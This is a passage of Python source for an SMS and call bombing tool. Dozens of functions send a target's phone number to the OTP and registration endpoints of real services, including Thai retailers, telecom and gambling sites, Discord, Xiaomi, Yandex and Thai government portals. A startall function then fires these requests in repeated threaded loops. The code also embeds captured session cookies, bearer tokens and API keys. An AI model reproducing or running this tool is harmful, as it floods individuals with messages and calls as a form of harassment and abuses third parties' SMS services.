*/*","x_vehicle_type":"CAR","cookie":"_ga=GA1.3.523508414.1640152799;_gid=GA1.3.999851247.1640152799;_fbp=fb.2.1640152801502.837786780;_gac_UA-65843992-28=1.1640152807.EAIaIQobChMIi9jVo9329AIVizArCh1bFAuMEAAYASAAEgJqA_D_BwE;_dc_gtm_UA-65843992-28=1;_hjSessionUser_2738441=eyJpZCI6IjYwMjMzZjYyLTFlMzYtNWZmMy04MjZkLTMzOTAxNTMwODQ4NyIsImNyZWF0ZWQiOjE2NDAxNTI4MDEzMDYsImV4aXN0aW5nIjp0cnVlfQ==;_hjSession_2738441=eyJpZCI6ImI4MDNlNTFkLTFiYTYtNGExZi05MGIzLTk5OWRmMjhhM2RiOCIsImNyZWF0ZWQiOjE2NDAxNjY4ODgwNDF9;_hjAbsoluteSessionInProgress=0;cto_bundle=uVFzcF8lMkYxM0hsRGxQc1M4YThaRmhHJTJGRTBtSUdwNzVuRkVldzI5QlpIYktWbnZFcUlzdDZ1ZnhMT3JqVVhFQyUyQmtGUE9MTFk5akpyVnl4ekZnZlJ4UVN3WnRHdUNyJTJGWW03aVRSeWtLc2wxTjA3QmR0THNzcjNsJTJCcEJHSXlOUzNxTVc2ZmJPaGclMkZhRUhkV3I2cTI1dXUlMkZhYnl1dyUzRCUzRA"}) def api53(phone): post("https://www.kaitorasap.co.th/api/index.php/send-otp/", data = {"phone_number": phone,"lag": " "}) def api54(phone): requests=Session() token=search('<meta name="_csrf" content="(.*)" />',get("https://www.shopat24.com/register/").text).group(1) post("https://www.shopat24.com/register/ajax/requestotp/",data=f"phoneNumber={phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","x-csrf-token": token}) def api55(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}).text session.post("https://srfng.ais.co.th/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def api56(phone): post("https://discord.com/api/v9/users/@me/phone",headers=header,json={"phone":"+66"+phone}) def api57(phone): post("https://api-customer.lotuss.com/clubcard-bff/v1/customers/otp", data={"mobile_phone_no":phone}) def api58(phone): post("https://www.tgfone.com/signin/otp_chk_fast",headers=header,json=f"mobile={phone}&type_otp=7") def api59(phone): post("https://ufa3bb.com/account/register/sendotp",headers=header,data=f"phone={phone}") def api60(phone): post("https://login.s-momclub.com/accounts.otp.sendCode", data=f"phoneNumber=%2B66{phone[1:]}&lang=th&APIKey=3_R6NL_0KSx2Jyu7CsoDxVYau1jyOIaPzXKbwpatJ_-GZStVrCHeHNIO3L1CEKVIKC&source=showScreenSet&sdk=js_latest&authMode=cookie&pageURL=https%3A%2F%2Fwww.s-momclub.com%2Fprofile%2Flogin&sdkBuild=12563&format=json",headers={"content-type": "application/x-www-form-urlencoded","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "gmid=gmid.ver4.AcbHriHAww._ill8qHpGNXtv9aY3XQyCvPohNww4j7EtjeiM3jBccqD7Vx0OmGeJuXcpQ2orXGs.nH0yRZjbm75C-5MVgB2Ii0PWvx6TICBn1LYI_XtlgoHg9mnouZgNs6CHULJEitOfkBhHvf8zUvrvMauanc52Sw.sc3;ucid=Tn63eeu2u8ygoINkqYBk5w;hasGmid=ver4;_ga=GA1.2.1714152564.1642328595;_fbp=fb.1.1642328611770.178002163;_gcl_au=1.1.64457176.1642329285;gig_bootstrap_3_R6NL_0KSx2Jyu7CsoDxVYau1jyOIaPzXKbwpatJ_-GZStVrCHeHNIO3L1CEKVIKC=login_ver4;_gid=GA1.2.1524201365.1642442639;_gat=1;_gat_rolloutTracker=1;_gat_globalTracker=1;_gat_UA-62402337-1=1"}) def api61(phone): post("https://globalapi.pointspot.co/papi/oauth2/signinWithPhone", data={"phoneNumber": f"+66{phone[1:]}"}) def api62(phone): get(f"https://hdmall.co.th/phone_verifications?express_sign_in=1&mobile={phone}") def api63(phone): post("https://asha168vip.com/_ajax_/request-otp", data={"request_otp[phoneNumber]":phone,"request_otp[termAndCondition]": "1","request_otp[_token]": "1642443743"}) def api64(phone): post("https://account.xiaomi.com/pass/sendPhoneRegTicket", data=f"region=US&phone=%2B66{phone[1:]}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "captchaToken=mXYXs+xvEHAZdhKnXK1XlopRcisSn05D6xhZU+uL3ghvh1Yf/4rYTExH+2xl+yZv;deviceId=wb_aca09552-fd37-4204-9d7a-20045de5c5bf;uLocale=en"}) def api65(phone): post("https://gamingnation.dtac.co.th/api/otp/generate", data={"template":"register","phone_no":phone},headers={"User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api66(phone): post("https://www.aurora.co.th/signin/otp_chk", data=f"mobile={phone}&type_otp=3",headers={"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}) def api67(phone): get(f"https://api.joox.com/web-fcgi-bin/web_account_manager?optype=5&os_type=2&country_code=66&phone_number=66{phone[1:]}&time=1641777424446&_=1641777424449&callback=axiosJsonpCallback2") def api68(phone): post("http://716081.com/wap/user/sendPhoneMsg", json={"uri":"/user/sendPhoneMsg","token":"","paramData":{"phoneVerifyType":0,"phoneNumber":f"66{phone[1:]}","siteCode":"intqa"}}).text def api69(phone): post("https://login.928royal.com/api/APISendOTP.php", data=f"mobileNumber=0{phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8"}) def api70(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", data={"tel":phone,"otp_type":"register"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Basic 755b4608e637d413d668502704d93e377f4f67b2d3d0f50e5644af3607f31ddb3174ecaf5b2c40c86f9efc32de1ee0bbf3e7a2b32cb055a3cb7068e1bb152844"}) def api71(phone): post("https://www.bigthailand.com/authentication-service/user/OTP", json={"locale":"th","phone": f"+66{phone[1:]}","email":"dkdk@gmail.com","userParams":{"buyerName":"ekek ks","activateLink":"www.google.com"}},headers={"content-type": "application/json","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Bearer eyJ0eXAiOiJKV1QiLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwiYWxnIjoiZGlyIn0..P9LOZOUnXvgw5wDxPqSuCg.jjRU6v4iidkFNv4nROigeng1s9e96LnzplOaml7YSasaTxwozO37IWuq-h6bV5JyxpaRvIL9UCochw-3OciWq_VrORNwnH45b-ziIAhZ-CpLpt1O_4EpM27y7TYXBb_w6DT3BJp1ARkG7CqSouTnGg.2n1G9HbFJzArFH5Rr2m9kg","cookie": "auth.strategy=local;auth._token.local=Bearer%20eyJ0eXAiOiJKV1QiLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwiYWxnIjoiZGlyIn0..P9LOZOUnXvgw5wDxPqSuCg.jjRU6v4iidkFNv4nROigeng1s9e96LnzplOaml7YSasaTxwozO37IWuq-h6bV5JyxpaRvIL9UCochw-3OciWq_VrORNwnH45b-ziIAhZ-CpLpt1O_4EpM27y7TYXBb_w6DT3BJp1ARkG7CqSouTnGg.2n1G9HbFJzArFH5Rr2m9kg;_utm_objs=eyJzb3VyY2UiOiJnb29nbGUiLCJtZWRpdW0iOiJjcGMiLCJjYW1wYWlnbiI6ImFkd29yZHMiLCJj%0D%0Ab250ZW50IjoiYWR3b3JkcyIsInRlcm0iOiJhZHdvcmRzIiwidHlwZSI6InJlZmVycmVyIiwidGlt%0D%0AZSI6MTY0MjMyOTM5OTU4NSwiY2hlY2tzdW0iOiJaMjl2WjJ4bExXTndZeTFoWkhkdmNtUnpMVEUy%0D%0ATkRJek1qa3pPVGsxT0RVPSJ9;_pk_ref.564990563.2c0e=%5B%22%22%2C%22%22%2C1642329400%2C%22https%3A%2F%2Fwww.google.com%2F%22%5D;_pk_ses.564990563.2c0e=*;_gcl_au=1.1.833577636.1642329400;_asm_visitor_type=n;_ac_au_gt=1642329406505;cdp_session=1;_asm_uid=637506384;_ga=GA1.2.1026893832.1642329403;_gid=GA1.2.1437369318.1642329403;OptanonConsent=isIABGlobal=false&datestamp=Sun+Jan+16+2022+17%3A36%3A45+GMT%2B0700+(%E0%B9%80%E0%B8%A7%E0%B8%A5%E0%B8%B2%E0%B8%AD%E0%B8%B4%E0%B8%99%E0%B9%82%E0%B8%94%E0%B8%88%E0%B8%B5%E0%B8%99)&version=6.9.0&hosts=&consentId=e0fe7ec6-3c1e-4aa7-9e72-ecd2ed724416&interactionCount=0&landingPath=https%3A%2F%2Fwww.bigthailand.com%2Fcategory%2F850%2F%25E0%25B8%2599%25E0%25B9%2589%25E0%25B8%25B3%25E0%25B8%25A1%25E0%25B8%25B1%25E0%25B8%2599%25E0%25B9%2580%25E0%25B8%2584%25E0%25B8%25A3%25E0%25B8%25B7%25E0%25B9%2588%25E0%25B8%25AD%25E0%25B8%2587%25E0%25B9%2581%25E0%25B8%25A5%25E0%25B8%25B0%25E0%25B8%2582%25E0%25B8%25AD%25E0%25B8%2587%25E0%25B9%2580%25E0%25B8%25AB%25E0%25B8%25A5%25E0%25B8%25A7%2F%25E0%25B8%2599%25E0%25B9%2589%25E0%25B8%25B3%25E0%25B8%25A1%25E0%25B8%25B1%25E0%25B8%2599%25E0%25B9%2580%25E0%25B8%2584%25E0%25B8%25A3%25E0%25B8%25B7%25E0%25B9%2588%25E0%25B8%25AD%25E0%25B8%2587%3Fgclid%3DCj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB&groups=C0001%3A1%2CC0003%3A1%2CC0002%3A1%2CC0007%3A1;_fbp=fb.1.1642329406623.363807498;_hjSessionUser_2738378=eyJpZCI6ImVkNmZhOGY3LTQwNDctNTNjMi04YTVjLTQ0OGE5MDA4YjhiZCIsImNyZWF0ZWQiOjE2NDIzMjk0MDQ4MDMsImV4aXN0aW5nIjpmYWxzZX0=;_hjFirstSeen=1;_hjIncludedInSessionSample=0;_hjSession_2738378=eyJpZCI6ImNhN2UwZDFhLTZkNmQtNGM0Mi04YmI1LTg4NWJmNzZjMGExZCIsImNyZWF0ZWQiOjE2NDIzMjk0MTEwNzcsImluU2FtcGxlIjpmYWxzZX0=;_hjIncludedInPageviewSample=1;_hjAbsoluteSessionInProgress=0;_gac_UA-165856282-1=1.1642329477.Cj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB;_gcl_aw=GCL.1642329478.Cj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB;_pk_id.564990563.2c0e=0.1642329400.1.1642329489.1642329400.;_ac_client_id=637515726.1642329496;_ac_an_session=zmzlzhzlzizqzmzjzkzjzdzlzgzkzmzizmzkzhzlzdzizlznzhzgzhzqznzqzlzdzizdzizlznzhzgzhzqznzqzlzdzizlznzhzgzhzqznzqzlzdzizdzgzjzizdzjzd2h25zdzgzdzezizd;au_id=637515726;_ga_80VN88PBVD=GS1.1.1642329399.1.1.1642329493.44"}) def api72(phone): post("https://api.cashmarket-th.com/app/userinfo/send/smsCode", json={"baseParams":{"platformId":"android","deviceType":"h5","deviceIdKh":"20220118121149smyjjs57jxtqbwkuu74y0vd6p5yzhrmp86872f73364d46d3bf9446ddd583ef61ee8fafe504bab46ec267ca96a99281d6rreqhrlgsg4p3srgv1i5s4pp8u9la6gf1","termSysVersion":"5.1.1","termModel":"A37f","brand":"","termId":"null","appType":"6","appVersion":"2.0.0","pValue":"","position":{"lon":"null","lat":"null"},"bizType":"0000","appName":"Cash Market","packageName":"com.cashmarketth.h5","screenResolution":"720,1280"},"clientTypeFlag":"h5","token":"","phoneNumber":"","timestamp":"1642479101529","bizParams":{"phoneNum":phone,"code":"null","type":200,"channelCode":"hJ071"}}) def api73(phone): post("https://bacara888.com/api/otp/register",data={"applicant":phone,"serviceName":"gclub"}) def api74(phone): post("https://www.tslpv.net/api/v1/sendRegisterSms", data={"national_number":phone,"country_code":"TH","g_token":"null"}) def api75(phone): post("https://queenclub88.com/api/register/phone", data={"phone":phone}) def api76(phone): post("https://api.cdfoi9.com/api/v1/index.php", data=f"module=%2Fusers%2FgetVerificationCode&mobile={phone}&merchantId=111&domainId=0&accessId=&accessToken=&walletIsAdmin=",headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","content-type": "application/x-www-form-urlencoded"}) def api77(phone): get(f"https://api.joox.com/web-fcgi-bin/web_account_manager?optype=5&os_type=2&country_code=66&phone_number=0{phone}&time=1641777424446&_=1641777424449&callback=axiosJsonpCallback2") def api79(phone): send = Session() send.headers.update({"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38","Content-Type" : "application/x-www-form-urlencoded","Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}) snd = send.post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",data=f"st.r.phone=+66{phone[1:]}") sed = send.post("https://ok.ru/dk?cmd=AnonymRegistrationAcceptCallUI&st.cmd=anonymRegistrationAcceptCallUI",data="st.r.fieldAcceptCallUIButton=Call") def api80(phone): get(f"https://findclone.ru/register?phone=+66{phone[1:]}",headers={"X-Requested-With" : "XMLHttpRequest","User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36"}).json() def api88(phone): post("https://globalapi.pointspot.co/papi/oauth2/signinWithPhone", data={"phoneNumber": phone}) def api89(phone): # QCLOUD post("https://api.cashmarket-th.com/app/userinfo/send/smsCode", json={"baseParams":{"platformId":"android","deviceType":"h5","deviceIdKh":"20220118121149smyjjs57jxtqbwkuu74y0vd6p5yzhrmp86872f73364d46d3bf9446ddd583ef61ee8fafe504bab46ec267ca96a99281d6rreqhrlgsg4p3srgv1i5s4pp8u9la6gf1","termSysVersion":"5.1.1","termModel":"A37f","brand":"","termId":"null","appType":"6","appVersion":"2.0.0","pValue":"","position":{"lon":"null","lat":"null"},"bizType":"0000","appName":"Cash Market","packageName":"com.cashmarketth.h5","screenResolution":"720,1280"},"clientTypeFlag":"h5","token":"","phoneNumber":"","timestamp":"1642479101529","bizParams":{"phoneNum": phone,"code":"null","type":200,"channelCode":"hJ071"}}) def api90(phone): post("https://shopgenix.com/api/sms/otp/",headers=header,data=f"mobile_country_id=1&mobile={phone}") # SME-GP def api91(phone): post("https://api.thaisme.one/smegp/register/request-otp",json={"MOBILE":phone}) #YOUROTP def api92(phone): post("https://apiv3.slot999ss.com/front/api/register/set/OTP",data=f"phone={phone}",headers={"content-type": "application/x-www-form-urlencoded;charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) #Sabuy-Ebuy def api93(phone): post("https://sabuyebuy.com/wp-json/api/v1/get-otp",headers=header,json={"msisdn":f"{phone}"}) #FAST-PLUS. def api94(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", data={"tel":phone,"otp_type":"register"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Basic 755b4608e637d413d668502704d93e377f4f67b2d3d0f50e5644af3607f31ddb3174ecaf5b2c40c86f9efc32de1ee0bbf3e7a2b32cb055a3cb7068e1bb152844"}) #Zilingo def api95(phone): post("https://id.zilingo.com/api/v1/userVerification/initiate?up_s=B2B_ASIA_MALL&up_cd=v1_eyJjbGllbnRVc2VySWRlbnRpZmljYXRpb24iOnsiYW5vbnltb3VzVXNlcklkT3B0IjoiQUlENTUwMDY3MTIzMjA0NTY2MDkyIiwic2Vzc2lvbklkT3B0IjoiU0lENTUwMDY3MTIzMjA0NTY2MDkyIiwidXNlcklkT3B0IjpudWxsfSwic2NyZWVuT3B0Ijp7InNjcmVlblR5cGUiOiJDQVRFR09SWSIsInNjcmVlbklkIjoiV0NMIiwic2NvcGUiOm51bGx9LCJidXllclJlZ2lvbk9wdCI6IkIyQl9USEEiLCJsb2NhbGVDb2RlIjoidGgiLCJxdiI6eyJjbGllbnQiOiJXZWIiLCJzdWJDbGllbnQiOiJEZXNrdG9wV2ViIiwidmVyc2lvbiI6IjM1LjguNSJ9fQ==",headers=header,json={"channelDetails":{"phoneNumber":f"+66{phone[1:]}","channelType":"SMS"},"source":"UNIFIED_LOGIN","action":"OTP_LOGIN","redirectTo":"/th-th/Women/Clothing"}) #DGA def api96(phone): post("https://accounts.egov.go.th/Citizen/Account/MobileRegisterJson",headers=header,json={"Mobile":f"{phone}","TransactionId":"f28ef0a2-23ff-4abd-b9e6-fdfc271298ea"}) def api97(phone): post("https://tdhw.treasury.go.th/TD-Vote/api/otp/request",json={"ID_CARD":"1104200197909","TEL":f"{phone}","OTP_TYPE":"OTP_TEST"}) def api98(phone): post("https://user-api.learn.co.th/authentication/sendOTP",json={"mobileNumber": phone},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Host": "user-api.learn.co.th","content-length": "29","sec-ch-ua-mobile": "?1","content-type": "application/json;charset=UTF-8","accept": "application/json, text/plain, /","sec-ch-ua-platform": "Android","origin": "https://user.learn.co.th","sec-fetch-site": "same-site","sec-fetch-mode": "cors","sec-fetch-dest": "empty","referer": "https://user.learn.co.th/","x-api-key": "USER_API_KEY"}) #FOODDIARY def api99(phone): post("https://www.fooddiaryonlineshop.com/RegisterNewCustomer",headers=header,data=f"__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=Ble7%2FRYu%2F1RjtS%2FfO9KgKdBWKCntkuS%2F0x7Qh6w4mnY7kV82h741dj1JFc5xnFbW7yacbboe0%2B5nTVVF%2BFSGEHQvaTkL4HQ5qDJbZMBQEt73YZZ%2FZON2LWw193tcYCjDwL3y3vy3lks%2BduyUOCNMwlwNpfrPDsvbhgT4qDCekWgvnnFrzFGCtQYO6cTU3Lax6YpvUbBld0oKgkWcHg0efFp3K2S2fLx%2BK4oTVGr6bq1QdKl5uPHqtL04IHkdy7X6Wbf6lUTQgOa5q5wLfE2KUGHWUUsYjahMwHmRCaVSxB7P1eDmiZ%2BQNku9pHs7m50GtCSePXPSfYtFBumDCM2R1XklFOdYV4X1jJgt%2Fe3MGV1Xmj7cRE%2FsBk1u%2FMYfN%2BmXb5dxruqgDuhXAnWP%2F8Syot1XGEUtVclmfF5NIB0KkCu6He8dheN%2BhEkupLqzP6Ip6OAMNnvssm1rMngwDy7ipCNC3dPXMj83IpBuuD1LWbPr3x3ksf0%2FrGL4yM7jvr8a99ifPcJPcmJzY%2Feay0PKwdwA3u2KTyCoXVgMZwqvsdRoyRHlFooZ3AHoBNsQrkegtyk5eHtjpBTLHD1dzQT3R%2FRaYIbencMw%2B5BbVJWiPzVTXF%2BiQ9A64UcUP9adMciJa7TudfL331vSRd%2FwVMkA%2B1fDtVrfBBi8%2BHbta7BsuVjk0ZodiLMuloOsYaTSilSLmidUpEZFsj0Zhz%2FpwGu%2FGKMixcG95PmRkOdpAj4d2D8%3D&__VIEWSTATEGENERATOR=94756D41&ctl00%24MainContent%24PageGUIDForSession=&ctl00%24MainContent%24rdEmail=U&ctl00%24MainContent%24rdMobile=C&ctl00%24MainContent%24cbpEmptry%24txtMobileNo%24State=%7B%26quot%3BrawValue%26quot%3B%3A%26quot%3B{phone}%26quot%3B%2C%26quot%3BvalidationState%26quot%3B%3A%26quot%3B%26quot%3B%7D&ctl00%24MainContent%24cbpEmptry%24txtMobileNo=0958816629&ctl00%24MainContent%24cbpEmptry%24txtOTP%24State=%7B%26quot%3BrawValue%26quot%3B%3A%26quot%3B%26quot%3B%2C%26quot%3BvalidationState%26quot%3B%3A%26quot%3B%26quot%3B%7D&ctl00%24MainContent%24cbpEmptry%24txtOTP=&ctl00%24MainContent%24cbpEmptry%24chkRead=U&ctl00%24MainContent%24cbpEmptry%24chkConsent=U&DXScript=1_16%2C1_17%2C1_28%2C1_66%2C1_18%2C1_19%2C1_20%2C1_21%2C1_224%2C1_225%2C1_230%2C1_229%2C1_51%2C1_22%2C1_14%2C1_226%2C1_52&DXCss=1_248%2C1_69%2C1_71%2C1_250%2C1_247%2C1_75%2C1_74%2C1_251%2C%2FContent%2Fcss%3Fv%3DFILIkBdKK0FrNSvnRmezf5qTxic9NR7FOzzIJ8iQAKQ1%2Cfavicon.ico%2C..%2F..%2FContent%2Fbootstrap.min.css%2CStyles%2Fbutton.css&__CALLBACKID=ctl00%24MainContent%24cbpEmptry&__CALLBACKPARAM=c0%3ARequestOTP&__EVENTVALIDATION=N%2FlR5TtQKjdRNUQy0QFSjIjFW06D%2Fdy2VFm5Zl%2FTN%2FlsEYUsQVZwH8qpQ5sFzI0PBX2ZLH3HhxXkkZRvuada%2Bu6zsHxSgV3In38ahlf75%2Blm%2BguMSbwp%2FSxuo4Cc3cm5ZFVYYR9eVfvdwG4YsxWYbA%3D%3D") #yandex def api100(phone): post("https://passport.yandex.com/registration-validations/phone-confirm-code-submit",headers=header,data=f"track_id=b3dc4a29a19d038f1cd522187726d7bb5a&csrf_token=e150046ff026a517c15d45444294ffa3275b140c%3A1645857142788&number={phone}&isCodeWithFormat=true&confirm_method=by_sms") def api101(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": useragent}).text res=session.post("https://srfng.ais.co.th/api/v2/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": useragent,"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def api102(phone): post("https://api.zaapi.co/api/store/auth/otp/login",json={"phoneNumber":f"+66{phone[1:]}","namespace":"zaapi-buyers"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api103(phone): get(f"https://bkk-api.ks-it.co/Vcode/register?country_code=66&phone={phone}&sms_type=1&user_type=2&app_version=4.3.25&device_id=79722530562d973f&app_device_param=%7B%22os%22%3A%22Android%22%2C%22app_version%22%3A%224.3.25%22%2C%22model%22%3A%22A37f%22%2C%22os_ver%22%3A%225.1.1%22%2C%22ble%22%3A%220%22%7D&language=th&token=") #OTP_SMS def api104(phone): post("https://www.vegas77slots.com/auth/send_otp",data=f"phone={phone}&otp=&password=&bank=&bank_number=&full_name=&ref=21076",headers={"content-type": "application/x-www-form-urlencoded","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "vegas77slots=pj5kj4ovnk2fao1sbaid2eb76l1iak7b"}) #privacy def api105(phone): post("https://ipro356.com/wp-content/themes/hello-elementor/modules/index.php",data=f"method=wpRegisterotp&otp_tel={phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "PHPSESSID=vtacuje1no166kkp4d40nolak5"}) #kaspy def api106(phone): post("https://kaspy.com/sms/sms.php/",data=f"phone={phone}",headers={"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8","User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Cookie": "PHPSESSID=2i484jdb1pie5am071cveupme5; mage-cache-storage=%7B%7D; mage-cache-storage-section-invalidation=%7B%7D; mage-cache-sessid=true; form_key=rUt4Q17TiRlUfgKz; _ga=GA1.2.1486915122.1646803642; _gid=GA1.2.1348564830.1646803642; _fbp=fb.1.1646803643605.1538052508; mage-messages=; recently_viewed_product=%7B%7D; recently_viewed_product_previous=%7B%7D; recently_compared_product=%7B%7D; recently_compared_product_previous=%7B%7D; product_data_storage=%7B%7D; smartbanner_exited=1; __atuvc=2%7C10; __atuvs=62283aaa77850300001; _gat=1; private_content_version=382c8a313cac3cd587475c1b3693672e; section_data_ids=%7B%22cart%22%3A1646803701%2C%22customer%22%3A1646803701%2C%22compare-products%22%3A1646803701%2C%22last-ordered-items%22%3A1646803701%2C%22directory-data%22%3A1646803701%2C%22captcha%22%3A1646803701%2C%22instant-purchase%22%3A1646803701%2C%22persistent%22%3A1646803701%2C%22review%22%3A1646803701%2C%22wishlist%22%3A1646803701%2C%22chatData%22%3A1646803701%2C%22recently_viewed_product%22%3A1646803701%2C%22recently_compared_product%22%3A1646803701%2C%22product_data_storage%22%3A1646803701%2C%22paypal-billing-agreement%22%3A1646803701%2C%22messages%22%3A1646803708%7D"}) def api107(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", headers={"User-Agent": useragent}, json={"reqId":"39816-1633012470","params":{"phone": f"+66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def call1(phone): post("https://www.theconcert.com/rest/request-otp",json={"mobile":phone,"country_code":"TH","lang":"th","channel":"call","digit":4},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "_gcl_au=1.1.708266966.1646798262;_fbp=fb.1.1646798263293.934490162;_gid=GA1.2.1869205174.1646798265;__gads=ID=3a9d3224d965d1d5-2263d5e0ead000a6:T=1646798265:RT=1646798265:S=ALNI_MZ7vpsoTaLNez288scAjLhIUalI6Q;_ga=GA1.2.2049889473.1646798264;_gat_UA-133219660-2=1;_ga_N9T2LF0PJ1=GS1.1.1646798262.1.1.1646799146.0;adonis-session=a5833f7b41f8bc112c05ff7f5fe3ed6fONCSG8%2Fd2it020fnejGzFhf%2BeWRoJrkYZwCGrBn6Ig5KK0uAhDeYZZgjdJeWrEkd2QqanFeA2r8s%2FXf7hI1zCehOFlqYcV7r4s4UQ7DuFMpu4ZJ45hicb4xRhrJpyHUA;XSRF-TOKEN=aacd25f1463569455d654804f2189bc77TyRxsqGOH%2FFozctmiwq6uL6Y4hAbExYamuaEw%2FJqE%2FrWzfaNdyMEtwfkls7v8UUNZ%2BFWMqd9pYvjGolK9iwiJm5NW34rWtFYoNC83P0DdQpoiYfm%2FKWn1DuSBbrsEkV"}) #https://swagger.io/specification/ def startall(phone, amount): for x in range(amount): threading.submit(sk1, phone) threading.submit(sk2, phone) threading.submit(sk3, phone) threading.submit(sk4, phone) threading.submit(sk5, phone) threading.submit(sk6, phone) threading.submit(sk7, phone) threading.submit(sk8, phone) threading.submit(sk9, phone) threading.submit(sk10, phone) threading.submit(sk11, phone) threading.submit(sk12, phone) threading.submit(sk13, phone) threading.submit(sk14, phone) threading.submit(sk15, phone) threading.submit(sk16, phone) threading.submit(sk17, phone) threading.submit(sk18, phone) threading.submit(sk19, phone) threading.submit(sk20, phone) threading.submit(sk21, phone) threading.submit(sk22, phone) threading.submit(sk23, phone) threading.submit(sk24, phone) threading.submit(sk25, phone) threading.submit(sk26, phone) threading.submit(sk27, phone) threading.submit(sk28, phone) threading.submit(sk29, phone) threading.submit(sk30, phone) threading.submit(sk31, phone) threading.submit(sk32, phone) threading.submit(p1112v2, phone) threading.submit(yandex, phone) threading.submit(p1112, phone) 